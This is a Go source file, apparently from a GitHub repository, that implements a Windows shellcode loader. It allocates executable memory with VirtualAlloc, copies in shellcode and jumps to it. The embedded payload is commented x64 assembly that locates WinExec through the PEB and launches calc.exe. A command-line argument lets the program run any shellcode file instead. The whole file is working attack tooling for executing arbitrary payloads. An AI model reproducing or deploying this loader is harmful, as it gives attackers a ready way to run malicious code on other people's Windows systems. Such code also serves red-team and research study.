-
Notifications
You must be signed in to change notification settings - Fork 19
/
main.go
134 lines (111 loc) · 5.75 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_calc = []byte{ /*
bits 64
section .text
global shellcode
shellcode:
; x64 WinExec *requires* 16 byte stack alignment and four QWORDS of stack space, which may be overwritten.
; http://msdn.microsoft.com/en-us/library/ms235286.aspx
push rax
push rcx
push rdx
push rbx
push rsi
push rdi
push rbp
push 0x60 ; Stack is now 16 bit aligned
pop rdx ; RDX = 0x60
push 'calc'
push rsp
pop rcx ; RCX = &("calc")
sub rsp, 0x28 ; Stack was 16 byte aligned already and there are >4 QWORDS on the stack.
mov rsi, [gs:rdx] ; RSI = [TEB + 0x60] = &PEB
mov rsi, [rsi + 0x18] ; RSI = [PEB + 0x18] = PEB_LDR_DATA
mov rsi, [rsi + 0x10] ; RSI = [PEB_LDR_DATA + 0x10] = LDR_MODULE InLoadOrder[0] (process)
lodsq ; RAX = InLoadOrder[1] (ntdll)
mov rsi, [rax] ; RSI = InLoadOrder[2] (kernel32)
mov rdi, [rsi + 0x30] ; RDI = [InLoadOrder[2] + 0x30] = kernel32 DllBase
; Found kernel32 base address (RDI)
add edx, dword [rdi + 0x3c] ; RBX = 0x60 + [kernel32 + 0x3C] = offset(PE header) + 0x60
; PE header (RDI+RDX-0x60) = @0x00 0x04 byte signature
; @0x04 0x18 byte COFF header
; @0x18 PE32 optional header (= RDI + RDX - 0x60 + 0x18)
mov ebx, dword [rdi + rdx - 0x60 + 0x18 + 0x70] ; RBX = [PE32+ optional header + offset(PE32+ export table offset)] = offset(export table)
; Export table (RDI+EBX) = @0x20 Name Pointer RVA
mov esi, dword [rdi + rbx + 0x20] ; RSI = [kernel32 + offset(export table) + 0x20] = offset(names table)
add rsi, rdi ; RSI = kernel32 + offset(names table) = &(names table)
; Found export names table (RSI)
mov edx, dword [rdi + rbx + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table)
; Found export ordinals table (RDX)
find_winexec_x64: ; speculatively load ordinal (RBP)
movzx ebp, word [rdi + rdx] ; RBP = [kernel32 + offset(ordinals table) + offset] = function ordinal
lea edx, [rdx + 2] ; RDX = offset += 2 (will wrap if > 4Gb, but this should never happen)
lodsd ; RAX = &(names table[function number]) = offset(function name)
cmp dword [rdi + rax], 'WinE' ; *(DWORD*)(function name) == "WinE" ?
jne find_winexec_x64
mov esi, dword [rdi + rbx + 0x1c] ; RSI = [kernel32 + offset(export table) + 0x1C] = offset(address table)
add rsi, rdi ; RSI = kernel32 + offset(address table) = &(address table)
mov esi, [rsi + rbp * 4] ; RSI = &(address table)[WinExec ordinal] = offset(WinExec)
add rdi, rsi ; RDI = kernel32 + offset(WinExec) = WinExec
; Found WinExec (RDI)
cdq ; RDX = 0 (assuming EAX < 0x80000000, which should always be true)
call rdi ; WinExec(&("calc"), 0);
add rsp, 0x30 ; reset stack to where it was after pushing registers
pop rbp ; pop all the items off the stack that we pushed on earlier
pop rdi
pop rsi
pop rbx
pop rdx
pop rcx
pop rax
retn
*/
// nasm -DFUNC=TRUE -DCLEAN=TRUE -DSTACK_ALIGN=TRUE w64-exec-calc-shellcode.asm
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_calc
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}